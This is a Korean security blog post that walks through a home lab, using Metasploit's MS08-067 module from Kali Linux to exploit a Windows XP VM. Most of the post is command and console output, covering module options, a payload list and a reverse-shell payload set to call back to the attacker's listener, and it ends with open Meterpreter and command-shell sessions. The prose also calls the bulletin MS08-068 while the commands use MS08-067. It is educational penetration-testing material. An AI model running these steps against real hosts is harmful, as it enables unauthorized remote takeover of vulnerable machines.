본문 바로가기
Security/보안기초

APT 실습 첫번째

by 계영수 2023. 11. 12.
728x90

▶ 실습 환경 준비하기

 

0. VMware Workstation Pro 설치하기

1. Kali Linux VM (링크)

2. XP VM (링크 : 파일1, 파일2)

3. 다운로드받는 Kali Linux VM 파일의 압축을 해제한다.

4. 압축 해제한 파일 중에서 확장자가 vmx 인 파일을 더블클릭하여 VMware Workstation에서 불러온다.

5. 생성된 Kali Linux VM의 사양을 조정한다.

    + Memory를 4G로 변경

6. 스냅샷 생성

7. Kali Linux VM을 부팅하고 로그인 (kali / kali)

 

▶ Metasploit 프레임워크 사용하기

Metasploit 시작하기

 

 

 

위 그림에 보면 Metasploit Framework에는 2,335개의 공략방법과 1,220개의 추가 모듈등이 표시되어 있다. 여러분들이 이 글을 나중에 읽을 때면 이 숫자는 더 늘어나 있을 것이다. Metasploit은 커뮤니티가 운영하는 프로젝트이기 때문에 누구나 모듈을 제출에서 Metasploit Framework에 포함시킬 수 있는 구조로 되어 있다.

 

msf6 > help route
Route traffic destined to a given subnet through a supplied session.

Usage:
  route [add/remove] subnet netmask [comm/sid]
  route [add/remove] cidr [comm/sid]
  route [get] <host or network>
  route [flush]
  route [print]

Subcommands:
  add - make a new route
  remove - delete a route; 'del' is an alias
  flush - remove all routes
  get - display the route for a given target
  print - show all active routes

Examples:
  Add a route for all hosts from 192.168.0.0 to 192.168.0.255 through session 1
    route add 192.168.0.0 255.255.255.0 1
    route add 192.168.0.0/24 1

  Delete the above route
    route remove 192.168.0.0/24 1
    route del 192.168.0.0 255.255.255.0 1

  Display the route that would be used for the given host or network
    route get 192.168.0.11

msf6 >

 

 

▶ Metasploit에서 모듈 찾기

이번에는 앞서 준비한 XP 머신에 아직 패치되지 않은 취약점을 이용하여 Metasploit이 어떻게 공략하는지 살펴보자. 여기서는 MS08-068 취약점을 공략하기로 한다. 

 

참고로 MS08-068은 netapi32.dll 에 관한 것으로 공격자가 특별히 제작한 원격 프로시저 호출 요청을 SMB(Server Message Block) 서버로 보내 해당 목표 시스템을 장악하는 취약점이다. 이 약점이 특히 위험한 이유는 공격자가 목표 컴퓨터를 공격하기 전에 인증할 필요가 없기 때문이다. MS08-068은 Conficker 웜으로 공격받은 취약점으로 대단한 악명을 떨친바 있다.

 

마이크로소프트 패치에 익숙하다면 이 취약점이 2008년의 것임을 알 수 있을 것이다. 그 동안 세월을 감안할때 패치가 나왔음에도 불구하고 해당 취약점이 내부 네트워크를 평가할 때 조차 여전히 자주 발견되는 걸 보면 깜짝 놀랄만 하다.

 

모듈 데이터 베이스

 

msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption                


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

 

info 명령어

msf6 > info exploit/windows/smb/ms08_067_netapi

       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Targeting
      1   Windows 2000 Universal
      2   Windows XP SP0/SP1 Universal
      3   Windows 2003 SP0 Universal
      4   Windows XP SP2 English (AlwaysOn NX)
      5   Windows XP SP2 English (NX)
      6   Windows XP SP3 English (AlwaysOn NX)
      7   Windows XP SP3 English (NX)
      8   Windows XP SP2 Arabic (NX)
      9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
      10  Windows XP SP2 Chinese - Simplified (NX)
      11  Windows XP SP2 Chinese - Traditional (NX)
      12  Windows XP SP2 Czech (NX)
      13  Windows XP SP2 Danish (NX)
      14  Windows XP SP2 German (NX)
      15  Windows XP SP2 Greek (NX)
      16  Windows XP SP2 Spanish (NX)
      17  Windows XP SP2 Finnish (NX)
      18  Windows XP SP2 French (NX)
      19  Windows XP SP2 Hebrew (NX)
      20  Windows XP SP2 Hungarian (NX)
      21  Windows XP SP2 Italian (NX)
      22  Windows XP SP2 Japanese (NX)
      23  Windows XP SP2 Korean (NX)
      24  Windows XP SP2 Dutch (NX)
      25  Windows XP SP2 Norwegian (NX)
      26  Windows XP SP2 Polish (NX)
      27  Windows XP SP2 Portuguese - Brazilian (NX)
      28  Windows XP SP2 Portuguese (NX)
      29  Windows XP SP2 Russian (NX)
      30  Windows XP SP2 Swedish (NX)
      31  Windows XP SP2 Turkish (NX)
      32  Windows XP SP3 Arabic (NX)
      33  Windows XP SP3 Chinese - Traditional / Taiwan (NX)
      34  Windows XP SP3 Chinese - Simplified (NX)
      35  Windows XP SP3 Chinese - Traditional (NX)
      36  Windows XP SP3 Czech (NX)
      37  Windows XP SP3 Danish (NX)
      38  Windows XP SP3 German (NX)
      39  Windows XP SP3 Greek (NX)
      40  Windows XP SP3 Spanish (NX)
      41  Windows XP SP3 Finnish (NX)
      42  Windows XP SP3 French (NX)
      43  Windows XP SP3 Hebrew (NX)
      44  Windows XP SP3 Hungarian (NX)
      45  Windows XP SP3 Italian (NX)
      46  Windows XP SP3 Japanese (NX)
      47  Windows XP SP3 Korean (NX)
      48  Windows XP SP3 Dutch (NX)
      49  Windows XP SP3 Norwegian (NX)
      50  Windows XP SP3 Polish (NX)
      51  Windows XP SP3 Portuguese - Brazilian (NX)
      52  Windows XP SP3 Portuguese (NX)
      53  Windows XP SP3 Russian (NX)
      54  Windows XP SP3 Swedish (NX)
      55  Windows XP SP3 Turkish (NX)
      56  Windows 2003 SP1 English (NO NX)
      57  Windows 2003 SP1 English (NX)
      58  Windows 2003 SP1 Japanese (NO NX)
      59  Windows 2003 SP1 Spanish (NO NX)
      60  Windows 2003 SP1 Spanish (NX)
      61  Windows 2003 SP1 French (NO NX)
      62  Windows 2003 SP1 French (NX)
      63  Windows 2003 SP2 English (NO NX)
      64  Windows 2003 SP2 English (NX)
      65  Windows 2003 SP2 German (NO NX)
      66  Windows 2003 SP2 German (NX)
      67  Windows 2003 SP2 Portuguese (NX)
      68  Windows 2003 SP2 Portuguese - Brazilian (NX)
      69  Windows 2003 SP2 Spanish (NO NX)
      70  Windows 2003 SP2 Spanish (NX)
      71  Windows 2003 SP2 Japanese (NO NX)
      72  Windows 2003 SP2 French (NO NX)
      73  Windows 2003 SP2 French (NX)
      74  Windows 2003 SP2 Chinese - Simplified (NX)
      75  Windows 2003 SP2 Czech (NX)
      76  Windows 2003 SP2 Dutch (NX)
      77  Windows 2003 SP2 Hungarian (NX)
      78  Windows 2003 SP2 Italian (NX)
      79  Windows 2003 SP2 Russian (NX)
      80  Windows 2003 SP2 Swedish (NX)
      81  Windows 2003 SP2 Turkish (NX)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/usin
                                      g-metasploit/basics/using-metasploit.html
  RPORT    445              yes       The SMB service port (TCP)
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization code of
  NetAPI32.dll through the Server Service. This module is capable of bypassing
  NX on some operating systems and service packs. The correct target must be
  used to prevent the Server Service (along with a dozen others in the same
  process) from crashing. Windows XP targets seem to handle multiple successful
  exploitation events, but 2003 targets will often crash or hang on subsequent
  attempts. This is just the first version of this module, full support for
  NX bypass on 2003, along with other platforms, is still in development.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/


View the full module info with the info -d command.

msf6 >

 

- Name: 모듈을 설명하는 이름

- Module: 모듈 자체의 이름

- Platform: 이 공격이 윈도우 시스템을 향한 것임을 알려준다.

- Priviledged: 이 공격을 성공했을 때 목표 시스템에 대한 권한을 얻게 되는지 여부를 알려준다.

- Rank: 이 공격으로 인하여 목표 시스템이 받게 되는 잠재적인 영향을 목록화한다.  공격 코드는 수동에서 최고 수준까지 순위가 정해진다. 대개 최고수준으로 매겨진 공격코드는 서비스를 죽이지 않으므로 MS08-067과 같이 메모리를 망가뜨리는 취약점은 보통 이런 범주가 아닌, 이보다 한 단계 아래의 좋은 수준에 ㅎ속한다.

- Available Targets: 해당 모듈이 공략할 수 있는 운영체제 버전과 패치 레벨을 목록화한다. 이 모듈은 윈도우 2000, 2003, XP의 다양한 서비스와 언어 팩을 포함한 81개의 공격 가능한 목표를 가지고 있다.

- Basic Options: 요구 조건에 더 잘 맞도록 설정할 수 있는 다양한 옵션을 목록화하였다. 예컨데 RHOST 옵션으로 목표물의 IP 주소를 정한다.

- Payload information: 공격 코드에 쓸 수 있는 페이로드 정보를 담고 있다. 페이로드 또는 셸 코드는 공격자가 목표 시스템을 공격한 다음 수행하는 코드다. (목표 시스템을 공격하는 목적은 당연하게도 정상적으로는 생각지도 못한 특정한 일을 수행하기 위함이다)

 

자, 이제 해당 모듈을 사용하는 명령어를 입력한다.

msf6 > use windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

 

모듈 옵션 정하기

msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                       ng-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.88.131   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) >

 

→ RHOST

RHOST 옵션은 공격하고자 하는 원격 호스트를 뜻한다. 실습에서는 XP 머신의 IP 주소를 확인하여 사용한다.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.88.132
RHOST => 192.168.88.132
msf6 exploit(windows/smb/ms08_067_netapi) >

 

→ RPORT

원격 시스템의 공격할 포트를 뜻한다. 여기서 RPORT는 기본값으로 설정되어 있다. 윈도우 SMB 서비스를 이용하여 공격하므로 RPORT는 SMB의 기본 포트값인 445 여야 한다. 여기서는 그대로 둔다.

 

→  Exploit Target

공격목표는 0 Automatic Targeting으로 설정되어 있다. 여기엔 목표 시스템의 운영체제와 버전을 설정한다.

 

▶ 페이로드 (셸 코드)

아직 목표 시스템을 공략한 이후에, 다음으로 어떤 후속 작업을 할 것인지 정하지 않았다. 이런 경우 Metasploit에 페이로드를 간단히 설정할 수 있다. Metasploit은 간단한 윈도우 명령으로부터 Metasploit Meterpreter에 이르기 까지 과할 정도로 많은 페이로드를 갖고 있다. 따라서 호환되는 페이로드를 선택하면 Metasploit은 취약점에서 촉발되는 코드, 성공적으로 공략한 후에 표시될 문자열과 설치될 페이로드에 이르기까지 정교하게 다듬어준다. 

 

호환되는 페이로드 찾기

msf6 exploit(windows/smb/ms08_067_netapi) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_aws_ssm                                           normal  No     Command Shell, Bind SSM (via AWS API)
   3    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   4    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   5    payload/generic/ssh/interact                                                 normal  No     Interact with Established SSH Connection
   6    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   7    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   8    payload/windows/custom/bind_hidden_ipknock_tcp                               normal  No     Windows shellcode stage, Hidden Bind Ipknock TCP Stager
   9    payload/windows/custom/bind_hidden_tcp                                       normal  No     Windows shellcode stage, Hidden Bind TCP Stager
   10   payload/windows/custom/bind_ipv6_tcp                                         normal  No     Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)
   11   payload/windows/custom/bind_ipv6_tcp_uuid                                    normal  No     Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   12   payload/windows/custom/bind_named_pipe                                       normal  No     Windows shellcode stage, Windows x86 Bind Named Pipe Stager
   13   payload/windows/custom/bind_nonx_tcp                                         normal  No     Windows shellcode stage, Bind TCP Stager (No NX or Win7)
   14   payload/windows/custom/bind_tcp                                              normal  No     Windows shellcode stage, Bind TCP Stager (Windows x86)
   15   payload/windows/custom/bind_tcp_uuid                                         normal  No     Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)
   16   payload/windows/custom/reverse_hop_http                                      normal  No     Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager
   17   payload/windows/custom/reverse_https_proxy                                   normal  No     Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy
   18   payload/windows/custom/reverse_ipv6_tcp                                      normal  No     Windows shellcode stage, Reverse TCP Stager (IPv6)
   19   payload/windows/custom/reverse_named_pipe                                    normal  No     Windows shellcode stage, Windows x86 Reverse Named Pipe (SMB) Stager
   20   payload/windows/custom/reverse_nonx_tcp                                      normal  No     Windows shellcode stage, Reverse TCP Stager (No NX or Win7)
   21   payload/windows/custom/reverse_ord_tcp                                       normal  No     Windows shellcode stage, Reverse Ordinal TCP Stager (No NX or Win7)
   22   payload/windows/custom/reverse_tcp                                           normal  No     Windows shellcode stage, Reverse TCP Stager
   23   payload/windows/custom/reverse_tcp_allports                                  normal  No     Windows shellcode stage, Reverse All-Port TCP Stager
   24   payload/windows/custom/reverse_tcp_dns                                       normal  No     Windows shellcode stage, Reverse TCP Stager (DNS)
   25   payload/windows/custom/reverse_tcp_uuid                                      normal  No     Windows shellcode stage, Reverse TCP Stager with UUID Support
   26   payload/windows/custom/reverse_udp                                           normal  No     Windows shellcode stage, Reverse UDP Stager with UUID Support
   27   payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   28   payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   29   payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   30   payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   31   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   32   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   33   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   34   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   35   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   36   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   37   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   38   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   39   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   40   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   41   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   42   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   43   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   44   payload/windows/exec                                                         normal  No     Windows Execute Command
   45   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   46   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   47   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   48   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   49   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   50   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   51   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   52   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   53   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   54   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   55   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   56   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   57   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   58   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   59   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   60   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   61   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   62   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   63   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   64   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   65   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   66   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
                                      
~~~~~~~~~~~~~~~~~~~~~~~~~~~

   168  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   169  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   170  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support

msf6 exploit(windows/smb/ms08_067_netapi) >

 

깜빡하고 페이로드 설정을 하지 않았다면, 공격 모듈은 기본적으로 선택한 페이로드를 거기에 연결된 설정 값으로 실행한다. 하지만 여전히 기본값으로는 충분한 효과를 보기 어렵기 때문에 직접 페이로드를 설정하고 옵션값을 조정하는 것이 좋다.

 

테스트 공격하기

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.88.131:4444 
[*] 192.168.88.132:445 - Automatically detecting the target...
[*] 192.168.88.132:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Korean
[*] 192.168.88.132:445 - Selected Target: Windows XP SP3 Korean (NX)
[*] 192.168.88.132:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.88.132
[*] Meterpreter session 1 opened (192.168.88.131:4444 -> 192.168.88.132:1048) at 2023-11-12 06:45:22 -0500

meterpreter >

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.88.132 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(windows/smb/ms08_067_netapi) >

 

여기에서는 Meterpreter 세션으로 끝나는 것에 유의하자. Meterpreter는 meta-interpreter의 줄임말로 Metsploit의 페이로드를 뜻하며, 커맨드 셸이 하는 것 이 상의 많은 일을 할 수 있다.

 

 

셸의 유형

1) 바인드 셸

바인드 셸은 목표 시스템에 명령할 수 있는 커맨드 셸을 열고, 로컬 포트에 대기한다. 그러면 공격하는 컴퓨터는 목표시스템의 대기 포트로 접속한다. 하지만 방화벽에서 4444와 같은 포트 통신을 막도록 설정되었다면 바인드 셸은 무력화된다.

 

2) 리버스 셸

리버스 셸은 목표로 삼은 시스템에서 단순히 접속되기를 기다리지 않고, 오히려 공격하는 컴퓨터로 되돌아 접속한다. 이런 경우 거꾸로 접속되는 통신은 방화벽을 통과할 확률이 높기 대문에 공격하는 컴퓨터는 로컬 포트를 열어두고 접속을 대기해야 한다.

 

▶ 수동으로 페이로드 설정하기

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

 

리버스 셸은 목표시슽메에게 어디로 셸을 보낼 것인지, 즉 공격하는 시스템의 IP 주소와 개 포트를 알려주어야 한다. 

msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.88.132   yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                       ng-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.88.131   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) >

 

Kali Linux의 IP 주소 확인하기

msf6 exploit(windows/smb/ms08_067_netapi) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.88.131  netmask 255.255.255.0  broadcast 192.168.88.255
        inet6 fe80::29a0:680a:f89f:ea19  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:6f:81:59  txqueuelen 1000  (Ethernet)
        RX packets 14155  bytes 18928822 (18.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3286  bytes 702318 (685.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 73871  bytes 12674104 (12.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 73871  bytes 12674104 (12.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf6 exploit(windows/smb/ms08_067_netapi) >

 

LHOST에 set LHOST 192.168.88.131 명령으로 값을 설정하자. IP 주소는 학습자 환경에 따라 달라진다.

msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.88.131
LHOST => 192.168.88.131
msf6 exploit(windows/smb/ms08_067_netapi) >

 

자, 이제 다시 테스트 공격을 하자.

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.88.131:4444 
[*] 192.168.88.132:445 - Automatically detecting the target...
[*] 192.168.88.132:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Korean
[*] 192.168.88.132:445 - Selected Target: Windows XP SP3 Korean (NX)
[*] 192.168.88.132:445 - Attempting to trigger the vulnerability...
[*] Command shell session 2 opened (192.168.88.131:4444 -> 192.168.88.132:1051) at 2023-11-12 06:54:12 -0500


Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
-----
          

C:\WINDOWS\system32>

 

셸을 닫을 때는 Ctrl + C를 누르고, 세션을 닫기 위해서 y 를 입력한다.

C:\WINDOWS\system32>^C
Abort session 2? [y/N]  y

[*] 192.168.88.132 - Command shell session 2 closed.  Reason: User exit
msf6 exploit(windows/smb/ms08_067_netapi) >
728x90

'Security > 보안기초' 카테고리의 다른 글

Memory Theory(01)  (0) 2023.11.14
Operation Aurora  (0) 2023.11.12
취약점 찾기  (0) 2023.11.12
How Email Works  (0) 2023.11.12
보안 기초(01강)  (0) 2022.08.22